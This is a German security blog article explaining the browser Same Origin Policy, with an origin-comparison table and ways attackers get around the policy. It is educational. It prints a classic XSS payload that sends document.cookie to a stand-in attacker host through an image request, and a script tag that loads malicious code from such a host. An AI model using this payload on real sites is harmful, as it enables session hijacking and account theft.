Die Same Origin Policy
Der wichtigste (und eigentlich einzige) Schutz der Webbrowser vor bösartigen JavaScript-Code ist die Same Origin Policy. Vereinfacht besagt sie: "Jeder JavaScript-Code darf nur mit dem Server kommunizieren, von dem er geladen wurde". Das verhindert, dass eingeschleuster JavaScript-Schadcode hemmungslos mit einem Server des Angreifers kommunizieren kann, stört mitunter aber auch bei harmlosen Anwendungen.
Die Same Origin Policy
Eine andere umgangssprachliche Formulierung für die Same Origin Policy könnte "Von einer vertrauenswürdigen Webseite mitgelieferter JavaScript-Code ist vertrauenswürdig" lauten. Jedes HTML-Dokument bzw. der darin enthaltene JavaScript-Code darf nur mit dem Server kommunizieren, von dem es geladen wurde, und im Browser nur auf Objekte zugreifen, die vom gleichen Server geladen wurden. Dabei wird die Herkunft (Origin) einer Datei anhand von Protokoll, Host (Domainname) und Port definiert.
Der auf einer Seite enthaltene JavaScript-Code darf also diese Seite ändern und vom eigenen Server Daten nachladen bzw. diesem Daten schicken, nicht aber auf von anderen Servern geladene Seitenbestandteile zugreifen oder Daten an andere Server schicken. Damit wird verhindert, dass zum Beispiel JavaScript-Code aus einem eingeschleusten iframe auf das DOM der eigentlichen Seite zugreift und dort Daten ausspäht oder manipuliert.
Am besten lässt sich die Wirkung der Same Origin Policy an einem
Beispiel erklären. Die folgende Tabelle zeigt das Ergebnis für
Zugriffe eines Skripts, das in der vom URL
http://www.server.example/pfad/seite.html
geladenen Seite
enthalten ist.
URL | Ergebnis | Grund |
---|---|---|
http://www.server.example/pfad/verzeichnis/daten.html |
erlaubt | |
http://www.server.example/anderer/pfad/seite.html |
erlaubt | |
https://www.server.example/sicher/seite.html |
verboten | Anderes Protokoll |
http://www.server.example:8080/daten.html |
verboten | Anderer Port |
http://news.server.example/nachrichten/index.html |
verboten | Anderer Host (Domainname) |
http://www.boese.example/pfad/irgend/etwas.html |
verboten | Anderer Host (Domainname) |
Einen Sonderfall bildet dabei der mit Hilfe des script
-Tags
geladene JavaScript-Code: Darüber nachgeladener JavaScript-Code wird
der Origin des ladenden HTML-Dokuments zugeordnet und darf nur mit dessen
Server kommunizieren.
Ein Angreifer hat also zwei Möglichkeiten, seinen Schadcode zu laden:
- Er schleust einen iframe ein, der von seinem Server geladen wird. Dem JavaScript-Schadcode darin ist dann der Zugriff auf das DOM der Seite und die Daten der angegriffenen Webanwendung verwehrt.
- Er schleust ein
script
-Tag ein, das den Schadcode von seinem Server lädt:<script src="http://www.boese.example/boese.js">
Diesem Code wird die Origin der angegriffenen Webanwendung zugewiesen, er kann also auf deren Daten im DOM zugreifen. Dafür hat er aber keine Möglichkeit, mit dem eigenen Server zu kommunizieren.
Die Cyberkriminellen umgehen das Problem teilweise, indem sie Daten von ihrem eigenen Server laden und dabei ausgespähte Daten als Parameter übertragen. Ein klassisches Beispiel ist folgender Code zum Ausspähen von Session-Cookies:
<script>document.write("<img src=\"http://www.angreifer.example/cookie-sammler.php?geklautercookie="+document.cookie+"\">");</script>
Angeblich wird ein Bild geladen, tatsächlich enthält der Request für das Bild den Cookie der Anwendung als Parameter. Auf dem Server des Angreifers läuft ein Skript, dass den Cookie entgegennimmt und speichert (und damit es nicht auffällt, ein leeres Bild zurück liefert).
Außerdem kann die Same-Origin Policy über Ajax-Proxies oder zum Beispiel Google Translate umgangen werden, da darüber aufgerufene Seiten als Origin den Ajax-Proxy oder Google Translate haben, egal woher die Daten ursprünglich kommen.
Und in HTML5 gibt es die Cross Origin Requests, für die die Same Origin Policy nicht gilt.
Trackbacks
Dipl.-Inform. Carsten Eilers am : HTML5 Security - Cross Origin Requests
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : HTML5 Security - Gefährliche WebSockets
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Die Universal Cross-Site Scripting (UXSS) Schwachstelle im Internet Explorer 10 und 11
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Den 0-Day-Exploit des Dezembers präsentiert mal wieder Adobe
Vorschau anzeigen